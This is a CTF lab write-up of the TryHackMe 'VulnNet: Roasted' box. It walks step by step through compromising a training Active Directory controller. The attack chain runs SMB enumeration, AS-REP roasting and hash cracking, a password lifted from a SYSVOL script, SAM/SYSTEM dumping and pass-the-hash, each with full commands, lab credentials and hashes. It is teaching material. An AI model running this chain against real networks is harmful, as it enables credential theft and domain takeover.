VulnNet: Roasted – TryHackMe

Objective: capture two flags — **user.txt** and **system.txt**.

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1.Reconnaissance

First we check whether the host is up.

```
root@ip-10-10-182-114:~# ping 10.10.107.131
PING 10.10.107.131 (10.10.107.131) 56(84) bytes of data.
64 bytes from 10.10.107.131: icmp_seq=1 ttl=128 time=0.984 ms
64 bytes from 10.10.107.131: icmp_seq=2 ttl=128 time=0.464 ms
^C
--- 10.10.107.131 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.464/0.724/0.984/0.260 ms
```

The host responds, so we run **nmap** to scan ports and enumerate service details.

```
root@ip-10-10-182-114:~# nmap -sV -sC 10.10.107.131
Starting Nmap 7.80 ( https://nmap.org )
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or sp
ecify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.107.131
Host is up (0.00032s latency).
Not shown: 989 filtered ports
        STATE SERVICE
PORT
                             VERSION
53/tcp
        open domain?
 fingerprint-strings:
   DNSVersionBindReqTCP:
     version
     bind
88/tcp
       open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-18
09:35:37Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap
                             Microsoft Windows Active Directory LDAP (Domain: vu
lnnet-rst.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
```

```
ncacn http
593/tcp
         open
                              Microsoft Windows RPC over HTTP 1.0
636/tcp open
               tcpwrapped
3268/tcp open
                              Microsoft Windows Active Directory LDAP (Domain: vu
               ldap
lnnet-rst.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?n
ew-service :
SF-Port53-TCP:V=7.80%I=7%D=9/18%Time=68CBD26E%P=x86 64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\\0\\x1e\\0\\x06\\x81\\x04\\0\\x01\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0
SF:x04bind(0)(x10)(x03");
MAC Address: 02:76:FC:B5:ED:61 (Unknown)
Service Info: Host: WIN-2B08M10E1M1; OS: Windows; CPE: cpe:/o:microsoft:windows
```

2.SMB

An **SMB** service is available. We check which shares are accessible as **guest** using the nxc tool.

```
root@ip-10-10-182-114:~# nxc smb 10.10.107.131 -u 'guest' -p '' --shares
                                    WIN-2B08M10E1M1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:
SMB
            10.10.107.131 445
WIN-2B08M10E1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
                                                       [+] vulnnet-rst.local\guest:
[*] Enumerated shares
SMB
            10.10.107.131
                             445
                                     WIN-2B08M10E1M1
SMB
            10.10.107.131
                             445
                                     WIN-2B08M10E1M1
                                                       Share
SMB
            10.10.107.131
                             445
                                     WIN-2B08M10E1M1
                                                                        Permissions
                                                                                         Remark
SMB
            10.10.107.131
                                     WIN-2B08M10E1M1
                             445
                                                                                         Remote Admin
SMB
            10.10.107.131
                             445
                                     WIN-2B08M10E1M1
                                                       ADMIN$
                                                                                         Default share
Remote IPC
                             445
                                     WIN-2B08M10E1M1
SMB
            10.10.107.131
SMB
            10.10.107.131
                             445
                                     WIN-2B08M10E1M1
                                                                        READ
SMB
            10.10.107.131
                             445
                                     WIN-2B08M10E1M1
                                                       NETLOGON
                                                                                         Logon server share
SMB
            10.10.107.131
                             445
                                     WIN-2B08M10E1M1
                                                       SYSVOL
                                                                                         Logon server share
                                                       VulnNet-Business-Anonymous READ
            10.10.107.131
                             445
                                     WIN-2B08M10E1M1
                                                                                                     VulnNet
SMB
Business Sharing
            10.10.107.131
                                                                                                       VulnNe
                             445
                                     WIN-2B08M10E1M1 VulnNet-Enterprise-Anonymous READ
SMB
t Enterprise Sharing
```

I downloaded text files from the accessible shares, but they contained nothing interesting.

```
10-10-182-114:~# smbclient \\\\10.10.107.131\\VulnNet-Enterprise-Anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
                                       D
                                                0
                                                   Sat Mar 13 02:46:40 2021
                                       D
                                                   Sat Mar 13 02:46:40 2021
 Enterprise-Operations.txt
                                              467
                                                   Fri Mar 12 01:24:34 2021
                                       Α
  Enterprise-Safety.txt
                                                   Fri Mar 12 01:24:34 2021
                                       Α
                                              503
  Enterprise-Sync.txt
                                                   Fri Mar 12 01:24:34 2021
                                              496
                8771839 blocks of size 4096. 4516201 blocks available
smb: \> get Enterprise-Operations.txt
getting file \Enterprise-Operations.txt of size 467 as Enterprise-Operations.txt (11.1 KiloBytes/sec) average 11.1 KiloBytes/sec)
smb: \> get Enterprise-Safety.txt
getting file \Enterprise-Safety.txt of size 503 as Enterprise-Safety.txt (18.9 KiloBytes/sec) (average
14.1 KiloBytes/sec)
smb: \> get Enterprise-Sync.txt
getting file \Enterprise-Sync.txt of size 496 as Enterprise-Sync.txt (19.4 KiloBytes/sec) (average 15.6
KiloBytes/sec)
```

```
root@ip-10-10-182-114:~# smbclient \\\\10.10.107.131\\VulnNet-Business-Anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
                                                     0 Sat Mar 13 02:46:40 2021
0 Sat Mar 13 02:46:40 2021
758 Fri Mar 12 01:24:34 2021
654 Fri Mar 12 01:24:34 2021
                                             D
  Business-Manager.txt
                                             Α
  Business-Sections.txt
                                             Α
  Business-Tracking.txt
                                                      471 Fri Mar 12 01:24:34 2021
                   8771839 blocks of size 4096. 4514665 blocks available
smb: \> get Business-Manager.txt
getting file \Business-Manager.txt of size 758 as Business-Manager.txt (2.6 KiloBytes/sec) (average 2.6
KiloBytes/sec)
smb: \> get Business-Sections.txt
getting file \Business-Sections.txt of size 654 as Business-Sections.txt (11.6 KiloBytes/sec) (average 4.0 KiloBytes/sec)
smb: \> get Business-Tracking.txt
getting file \Business-Tracking.txt of size 471 as Business-Tracking.txt (27.1 KiloBytes/sec) (average
5.1 KiloBytes/sec)
```

Next I enumerated more details with **enum4linux-ng**.

```
root@ip-10-10-182-114:~# enum4linux-ng -A 10.10.107.131
ENUM4LINUX - next generation (v1.3.4)
Target Information
[*] Target ....... 10.10.107.131
[*] Username ......
*] Random Username .. 'aztggukz'
[*] Password .....''
*] Timeout ..... 5 second(s)
______
   Domain Information via SMB session for 10.10.107.131
______
[*] Enumerating via unauthenticated SMB session on 445/tcp.
[+] Found domain information via SMB
NetBIOS computer name: WIN-2BO8M10E1M1
NetBIOS domain name: VULNNET-RST
DNS domain: vulnnet-rst.local
FODN: WIN-2B08M10E1M1.vulnnet-rst.local
Derived membership: domain member
Derived domain: VULNNET-RST
```

That revealed NetBIOS domain name and DNS domain.

The machine rebooted here and its IP changed — we continued after adjusting to the new IP.

I then created a list of users (via nxc) and saved them to a txt file.

```
oot@ip-10-10-182-114:~# nxc smb 10.10.144.188 -u guest -p "" --rid-brute | cut -d '\' -<u>f</u> 2 | sed 's/
(.*)//' | sort -u | tee usernames.txt
Administrator
Allowed RODC Password Replication Group
a-whitehat
Cert Publishers
Cloneable Domain Controllers
Denied RODC Password Replication Group
DnsAdmins
DnsUpdateProxy
Domain Admins
Domain Computers
Domain Controllers
Domain Guests
Domain Users
Enterprise Admins
enterprise-core-vn
Enterprise Key Admins
Enterprise Read-only Domain Controllers
Group Policy Creator Owners
guest:
Guest
j-goldenhand
j-leet
Key Admins
krbtgt
Protected Users
RAS and IAS Servers
Read-only Domain Controllers
Schema Admins
SMB
                         10.10.144.188 445
                                              WIN-2B08M10E1M1 [*] Windows 10 / Server 2019 Build 177
63 x64
t-skid
WIN-2B08M10E1M1$
```

3. Hash harvesting

I used **GetNPUsers.py** (Impacket) to check whether any users are AS-REP / NTLM-exposable and got a hit for user **skid**.

```
root@ip-10-10-182-114:/opt/impacket/examples# python3 GetNPUsers.py vulnnet-rst.local/ -dc-ip 10.10.144.188 -
usersfile '/root/usernames.txt' -format hashcat
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User a-whitehat doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos data
```

I saved the returned hash to a file and cracked it with **hashcat**.

```
root@ip-10-10-182-114:~# hashcat -m 18200 hash.txt '/root/Desktop/Tools/wordlists/rockyou.txt'
hashcat (v6.1.1-66-g6a419d06) starting...
```

We recovered a plaintext password.

```
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:047bab25f1bd2e1a56f037bdfb38a44c$0c43122da07fad47a3122aeffdfe82657a2fb
d75b9f2b9351d84e01f9d1a98af15d45c77ec017edaee970b43b9e347bbc93689be3d4102b0a6866a347647a704911fd44d935d765242
8319c4b5b7cca1d315507ac9ae3ec8ae6fd41b86a868d347e5ca5d61d7a38aaede74aafa4205537d7b38d8d67ddc45906d8fa97496c5c
1b86b9794a927a83a7d1da6e7f304f989d32a39adfc8cc1da29a8f9341e5aa994e341ac0d4df831957dcb32c23cc7cd4854e5dd1294eb
7fd5eb6d0e762a2a4f9a569bfac470bfe717ae8957d99dd802a64bd4d9489d9be59683b189bb2c3d8898260f5c913eb981acd0bfab854
d4de51e8a294735669a:tj072889*

Session.....: hashcat
Status.....: Cracked
Hash.Name.....: Kerberos 5, etype 23, AS-REP
Hash.Target....: $krb5asrep$23$t-skid@VULNNET-RST.LOCAL:047bab25f1bd...35669a
```

4.a-whitehat (user access)

Using the credentials for **skid**, I checked accessible SMB resources.

```
10-182-114:~# nxc smb 10.10.144.188 -u 't-skid' -p 'tj072889*' --shares
10.10.144.188 445 WIN-2B08M10E1M1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-2B
SMB
             (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
08M10E1M1)
                                          WIN-2B08M10E1M1
                                                               [+] vulnnet-rst.local\t-skid:tj072889*
[*] Enumerated shares
SMB
              10.10.144.188
                                  445
SMB
              10.10.144.188
                                  445
                                          WIN-2B08M10E1M1
SMB
              10.10.144.188
                                  445
                                          WIN-2B08M10E1M1
                                                                                  Permissions
SMB
              10.10.144.188
                                  445
                                          WIN-2B08M10E1M1
              10.10.144.188
                                  445
                                          WIN-2B08M10E1M1
                                                               ADMIN$
                                                                                                      Remote Admin
SMB
                                                                                                     Default share
Remote IPC
Logon server share
Logon server share
              10.10.144.188
                                          WIN-2B08M10E1M1
SMB
                                  445
                                          WIN-2B08M10E1M1
                                                                                  READ
              10.10.144.188
SMB
                                  445
              10.10.144.188
                                                                                  READ
                                                               NETLOGON
SMB
                                  445
                                          WIN-2B08M10E1M1
SMB
              10.10.144.188
                                  445
                                          WIN-2B08M10E1M1
              10.10.144.188
                                  445
                                          WIN-2B08M10E1M1
                                                               VulnNet-Business-Anonymous READ
SMB
ss Sharing
SMB
              10.10.144.188
                                          WIN-2B08M10E1M1 VulnNet-Enterprise-Anonymous READ
                                                                                                                      VulnNet Ente
rprise Sharing
```

Under the SYSVOL share I found ResetPassword.vbs and downloaded it.

```
10-182-114:~# smbclient \\\\10.10.144.188\\SYSVOL -U t-skid%tj072889*
Try "help" to get a list of possible commands.
smb: \> ls
                                      D
                                               0
                                                  Thu Mar 11 19:19:49 2021
                                      D
                                               0
                                                  Thu Mar 11 19:19:49 2021
                                                  Thu Mar 11 19:19:49 2021
 vulnnet-rst.local
                                     Dг
                                               0
                8771839 blocks of size 4096. 4526846 blocks available
smb: \> cd vulnnet-rst.local
smb: \vulnnet-rst.local\> ls
                                      D
                                                  Thu Mar 11 19:23:40 2021
                                                  Thu Mar 11 19:23:40 2021
                                      D
                                               0
 DfsrPrivate
                                                  Thu Mar 11 19:23:40 2021
                                   DHSr
                                               0
 Policies
                                                  Thu Mar 11 19:20:26 2021
                                      D
                                               0
 scripts
                                      D
                                               0
                                                  Tue Mar 16 23:15:49 2021
                8771839 blocks of size 4096. 4526846 blocks available
smb: \vulnnet-rst.local\> cd scripts
smb: \vulnnet-rst.local\scripts\> ls
                                                  Tue Mar 16 23:15:49 2021
                                               0
                                      D
                                               0
                                                  Tue Mar 16 23:15:49 2021
                                                  Tue Mar 16 23:18:14 2021
 ResetPassword.vbs
                                      Α
                                            2821
                8771839 blocks of size 4096. 4526846 blocks available
smb: \vulnnet-rst.local\scripts\> get ResetPassword.vbs
getting file \vulnnet-rst.local\scripts\ResetPassword.vbs of size 2821 as ResetPassword.vbs (12.6 KiloBytes/
ec) (average 12.6 KiloBytes/sec)
```

Inside that script there was a password for user **a-whitehat**.

```
ResetPassword.vbs x
1 Option Explicit
3 Dim objRootDSE, strDNSDomain, objTrans, strNetBIOSDomain
4 Dim strUserDN, objUser, strPassword, strUserNTName
6 ' Constants for the NameTranslate object.
7 Const ADS NAME INITTYPE GC = 3
8 Const ADS_NAME_TYPE_NT4 = 3
9 Const ADS NAME TYPE 1779 = 1
10
12
      Wscript.Echo "Syntax Error. Correct syntax is:"
13
      Wscript.Echo "cscript ResetPassword.vbs"
14
      Wscript.Quit
15 End If
16
17 strUserNTName = "a-whitehat"
18 strPassword = "bNdKVkjv3RR9ht"
19
20 ' Determine DNS domain name from RootDSE object.
```

Testing access as a-whitehat showed it has elevated permissions and can write files to SMB shares.

```
10-10-182-114:~# nxc smb 10.10.144.188 -u 'a-whitehat' -p 'bNdKVkjv3RR9ht' --shares
10.10.144.188 445 WIN-2B08M10E1M1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-2B (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
10.10.144.188 445 WIN-2B08M10E1M1 [+] vulnnet-rst.local\a-whitehat:bNdKVkjv3RR9ht (Pwn3d!)
10.10.144.188 445 WIN-2B08M10E1M1 [*] Enumerated shares
10.10.144.188 445 WIN-2B08M10E1M1 Share Permissions Remark
SMB
08M10E1M1)
SMB
SMB
                   10.10.144.188
                                                         WIN-2B08M10E1M1
SMB
                                             445
                                                                                                                READ, WRITE
                                                                                                                                           Remote Admin
                   10.10.144.188
                                                         WIN-2B08M10F1M1
                                                                                      ADMINS
SMB
                                             445
                                                                                                                                          Default share
Remote IPC
Logon server share
Logon server share
                   10.10.144.188
SMB
                                             445
                                                         WIN-2B08M10E1M1
                                                                                                                READ, WRITE
                                                                                                                READ
                   10.10.144.188
SMB
                                             445
                                                         WIN-2B08M10E1M1
                                                                                                                READ, WRITE
                                                                                     NETLOGON
SMB
                   10.10.144.188
                                             445
                                                         WIN-2B08M10E1M1
                                                         WIN-2B08M10E1M1
SMB
                   10.10.144.188
                                                                                      VulnNet-Business-Anonymous READ
                                                                                                                                                             VulnNet Busine
SMB
                   10.10.144.188
                                             445
                                                         WIN-2B08M10E1M1
ss Sharing
                                             445
                                                         WIN-2B08M10E1M1 VulnNet-Enterprise-Anonymous READ
                                                                                                                                                                 VulnNet Ente
SMB
                   10.10.144.188
 prise Sharing
```

5. Privilege escalation

With the obtained credentials I connected to the box via **evil-winrm**.

```
root@ip-10-10-182-114:~# evil-winrm -i 10.10.144.188 -u 'a-whitehat' -p 'bNdKVkjv3RR9ht'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\a-whitehat\Documents> whoami
vulnnet-rst\a-whitehat

*Evil-WinRM* PS C:\Users\a-whitehat\Documents>
```

I checked privileges (whoami /priv) and saw **SeBackupPrivilege** and **SeRestorePrivilege**, allowing us to export the SAM and SYSTEM blobs.

```
PS C:\users\a-whitehat\desktop> whoami /priv
PRIVILEGES INFORMATION
Privilege Name
                                                            Description
                                                                                                                                                              State
     _____
                                                            Adjust memory quotas for a process
Add workstations to domain
SeIncreaseQuotaPrivilege
                                                                                                                                                              Enabled
SeMachineAccountPrivilege
                                                                                                                                                              Enabled
SeSecurityPrivilege
                                                            Manage auditing and security log
                                                                                                                                                              Enabled
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
                                                            Take ownership of files or other objects
Load and unload device drivers
                                                                                                                                                              Enabled
                                                                                                                                                              Enabled
                                                            Profile system performance
SeSystemProfilePrivïlege
                                                                                                                                                              Enabled
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
                                                            Change the system time
Profile single process
Increase scheduling priority
                                                                                                                                                              Enabled
                                                                                                                                                              Enabled
                                                                                                                                                              Enabled
                                                            Create a pagefile
Back up files and directories
Restore files and directories
SeCreatePagefilePriviĺege
                                                                                                                                                              Enabled
SeBackupPrivilege
                                                                                                                                                              Enabled
SeRestorePrivilege
SeShutdownPrivilege
                                                                                                                                                              Enabled
                                                            Shut down the system
                                                                                                                                                              Enabled
                                                           Shut down the system

Debug programs

Modify firmware environment values

Bypass traverse checking

Force shutdown from a remote system

Remove computer from docking station

Enable computer and user accounts to be trusted for delegation

Porform valume maintenance tasks
SeDebugPrivilege
                                                                                                                                                              Enabled
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
                                                                                                                                                              Enabled
SeRemoteShutdownPrivilege
                                                                                                                                                              Enabled
SeUndockPrivilege
                                                                                                                                                              Enabled
SeEnableDelegationPrivilege
SeManageVolumePrivilege
SeImpersonatePrivilege
SeCreateGlobalPrivilege
                                                            Perform volume maintenance tasks
                                                                                                                                                              Enabled
                                                            Impersonate a client after authentication Create global objects
                                                                                                                                                              Enabled
                                                                                                                                                              Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
          -WinRM* <mark>PS</mark> C:\users\a-whitehat\desktop> reg save HKLM\SAM C:\Users\Public\sam.save
The operation completed successfully.
  Evil-WinRM* PS C:\users\a-whitehat\desktop> reg save HKLM\SYSTEM C:\Users\Public\system.save
The operation completed successfully.
```

I transferred the dumps to my machine via SMB.

```
smb: \Users\> cd Public
smb: \Users\Public\> ls
                                                            DR
                                                                                Thu Sep 18 11:24:02 2025
                                                                           0 Thu Sep 18 11:24:02 2025
0 Thu Mar 11 17:38:05 2021
0 Sat Sep 15 08:19:03 2018
                                                           DR
   AccountPictures
                                                          DHR
                                                          DHR
   Desktop
   desktop.ini
                                                                         174 Sat Sep 15 08:16:48 2018
                                                                           0 Fri Mar 12 00:24:45 2011
0 Sat Sep 15 08:19:03 2018
0 Sat Sep 15 08:19:03 2018
0 Sat Sep 15 08:19:03 2018
   Documents
   Downloads
                                                           DR
                                                          DHR
   Libraries
   Music
   Pictures
                                                                               Sat Sep 15 08:19:03 2018
                                                                     49152 Thu Sep 18 11:23:53 2025
433152 Thu Sep 18 11:24:02 2025
   sam.save
                                                             Α
   system.save
                                                                16433152
   Videos
                                                                                Sat Sep 15 08:19:03 2018
                          8771839 blocks of size 4096. 4526615 blocks available
smb: \Users\\ublitc\> get sam.save
getting file \Users\Public\> get system.save
```

Using **secretsdump.py** I dumped the administrator NTLM hash.

```
root@ip-10-10-182-114:/opt/impacket/examples# python3 secretsdump.py -sam '/root/sam.save' -system '/root/system.save' LOCA
L
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[*] Target system bootKey: 0xf10a2788aef5f622149a41b2c745f49a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...
```

I then logged in again (via evil-winrm) as **Administrator** using the cracked hash/credential.

```
root@ip-10-10-182-114:~# evil-winrm -i 10.10.144.188 -u Administrator -H c2597747aa5e43022a3a3049a3c3b09d

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module R eline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
vulnnet-rst\administrator

*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

Finally, I read both flags (user.txt and system.txt).

```
Evil-WinRM* PS C:\Users>
 Evil-WinRM* PS C:\Users> cd enterprise-core-vn
Evil-WinRM* PS C:\Users\enterprise-core-vn> cd Desktop
Evil-WinRM* PS C:\Users\enterprise-core-vn\Desktop> dir
    Directory: C:\Users\enterprise-core-vn\Desktop
Mode
                     LastWriteTime
                                             Length Name
              3/13/2021 3:43 PM
                                                 39 user.txt
Evil-WinRM* PS C:\Users\enterprise-core-vn\Desktop> type user.txt
THM{726b7c0baaac1455d05c827b5561f4ed}
     -WinRM* PS C:\Users\enterprise-core-vn\Desktop>
   .l-WinRM* PS C:\Users\Administrator\Documents> cd C:\Users\Administrator\Desktop
Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
   Directory: C:\Users\Administrator\Desktop
Mode
                 LastWriteTime
                                     Length Name
           3/13/2021 3:34 PM
                                         39 system.txt
Evil-WinRM* PS C:\Users\Administrator\Desktop> type system.txt
THM{16f45e3934293a57645f8d7bf71d8d4c}
     WinRM* PS C:\Users\Administrator\Desktop>
```

CTF: complete.

6.Summary

This box walks through SMB/domain enumeration to harvest credentials (GetNPUsers / AS-REP roasting), cracking the recovered hash, finding credentials in SYSVOL scripts, and escalating to SYSTEM by abusing backup/restore privileges to dump SAM/ SYSTEM (secretsdump), then using the admin hash to obtain the final flags. Key takeaways: enumerate SMB and domain data aggressively, check SYSVOL and configuration scripts for credentials, and always run whoami /priv / sudo -l (or Windows equivalent) to find dangerous privileges.